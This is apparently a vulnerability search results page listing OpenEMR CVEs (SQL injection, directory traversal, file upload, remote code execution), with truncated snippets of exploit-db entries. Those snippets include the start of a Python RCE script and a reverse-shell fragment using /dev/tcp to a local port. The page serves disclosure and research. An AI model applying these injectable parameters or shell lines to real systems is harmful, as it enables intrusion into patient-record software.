2147 matches found
CVE-2018-15141
OpenEMR is affected by a directory traversal vulnerability in portal/import_template.php prior to version 5.0.1.4. A remote attacker authenticated in the patient portal can delete arbitrary files by supplying a crafted docid while mode=delete. Exploitation evidence exists (e.g., PoC in exploit-db...
CVE-2018-15144
SQL injection vulnerability in interface/deidentificationforms/finddrugpopup.php in versions of OpenEMR before 5.0.1.4 allows a remote authenticated attacker to execute arbitrary SQL commands via the searchterm parameter...
CVE-2018-15142
Directory traversal in portal/importtemplate.php in versions of OpenEMR before 5.0.1.4 allows a remote attacker authenticated in the patient portal to execute arbitrary PHP code by writing a file with a PHP extension via the "docid" and "content" parameters and accessing it in the traversed...
CVE-2018-15141
Directory traversal in portal/importtemplate.php in versions of OpenEMR before 5.0.1.4 allows a remote attacker authenticated in the patient portal to delete arbitrary files via the "docid" parameter when the mode is set to delete...
CVE-2018-15143
OpenEMR is affected by SQL injection in portal/find_appt_popup_user.php. Versions prior to 5.0.1.4 allow a remote attacker to inject SQL via the catid or providerid parameters, enabling arbitrary SQL commands. This is documented across multiple sources (NVD entry CVE-2018-15143 and related record...
CVE-2018-15144
CVE-2018-15144 describes an SQL injection in OpenEMR’s interface/de_identification_forms/find_drug_popup.php for versions before 5.0.1.4. A remote authenticated attacker can execute arbitrary SQL via the search_term parameter. Affected: OpenEMR 5.0.1.3 and earlier. Root cause: unsafely constructe...
CVE-2018-15139
Unrestricted file upload in interface/super/managesitefiles.php in versions of OpenEMR before 5.0.1.4 allows a remote authenticated attacker to execute arbitrary PHP code by uploading a file with a PHP extension via the images upload form and accessing it in the images directory. Recent...
CVE-2018-15142
Directory traversal in portal/importtemplate.php in versions of OpenEMR before 5.0.1.4 allows a remote attacker authenticated in the patient portal to execute arbitrary PHP code by writing a file with a PHP extension via the “docid” and “content” parameters and accessing it in the traversed...
OpenEMR Remote Code Execution Vulnerability
OpenEMR is the open source electronic health record and medical practice management solution. OpenEMR suffers from a remote code execution vulnerability. Due to the failure to strictly filter incoming parameters when modifying configurations in the background, an attacker can exploit the...
OpenEMR < 5.0.1 - Remote Code Execution
Title: OpenEMR & /dev/tcp/127.0.0.1/1337 0&1' ''' !/usr/bin/env python import argparse import base64 import requests import sys ap = argparse.ArgumentParserdescription="OpenEMR RCE" ap.addargument"host", help="Path to OpenEMR Example: http://127.0.0.1/openemr." ap.addargument"-u", "--user",...
OpenEMR < 5.0.1 - Remote Code Execution Exploit
Exploit for php platform in category web applications Title: OpenEMR & /dev/tcp/127.0.0.1/1337 0&1' ''' !/usr/bin/env python import argparse import base64 import requests import sys ap = argparse.ArgumentParserdescription="OpenEMR RCE" ap.addargument"host", help="Path to OpenEMR Example:...
OpenEMR 5.0.1.3 Remote Code Execution
Title: OpenEMR & /dev/tcp/127.0.0.1/1337 0&1' ''' !/usr/bin/env python import argparse import base64 import requests import sys ap = argparse.ArgumentParserdescription="OpenEMR RCE" ap.addargument"host", help="Path to OpenEMR Example: http://127.0.0.1/openemr." ap.addargument"-u", "--user",...
OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated)
Title: OpenEMR 5.0.1.3 - Remote Code Execution Authenticated Author: Cody Zacharias Date: 2018-08-07 Vendor Homepage: https://www.open-emr.org/ Software Link: https://github.com/openemr/openemr/archive/v5013.tar.gz Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile...
OpenEMR 5.0.1 - (Authenticated) Remote Code Execution
OpenEMR 5.0.1 - Authenticated Remote Code Execution Title: OpenEMR & /dev/tcp/127.0.0.1/1337 0&1' ''' !/usr/bin/env python import argparse import base64 import requests import sys ap = argparse.ArgumentParserdescription="OpenEMR RCE" ap.addargument"host", help="Path to OpenEMR Example:...
CVE-2013-10044
creationtimestamp| type| source ---|---|--- 2018-05-29 15:50:33+00:00| seen| https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/openemrsqliprivescupload.rb 2025-10-23 21:12:57+00:00| seen| MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7...
OpenEMR Arbitrary SQL Command Execution Vulnerability
OpenEMR is an open source medical management system maintained by the OpenEMR community. The system can be used for medical practice management, electronic medical records, prescription writing and medical billing requests. A security vulnerability exists in the interface\super\editlist.php file ...
OpenEMR < 5.0.1-1 SQLi Vulnerability
OpenEMR is prone to an SQL injection SQLi vulnerability. SPDX-FileCopyrightText: 2018 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:open-emr:openemr";...
CVE-2018-9250
interface\super\editlist.php in OpenEMR before v5011 allows remote authenticated users to execute arbitrary SQL commands via the newlistname parameter...
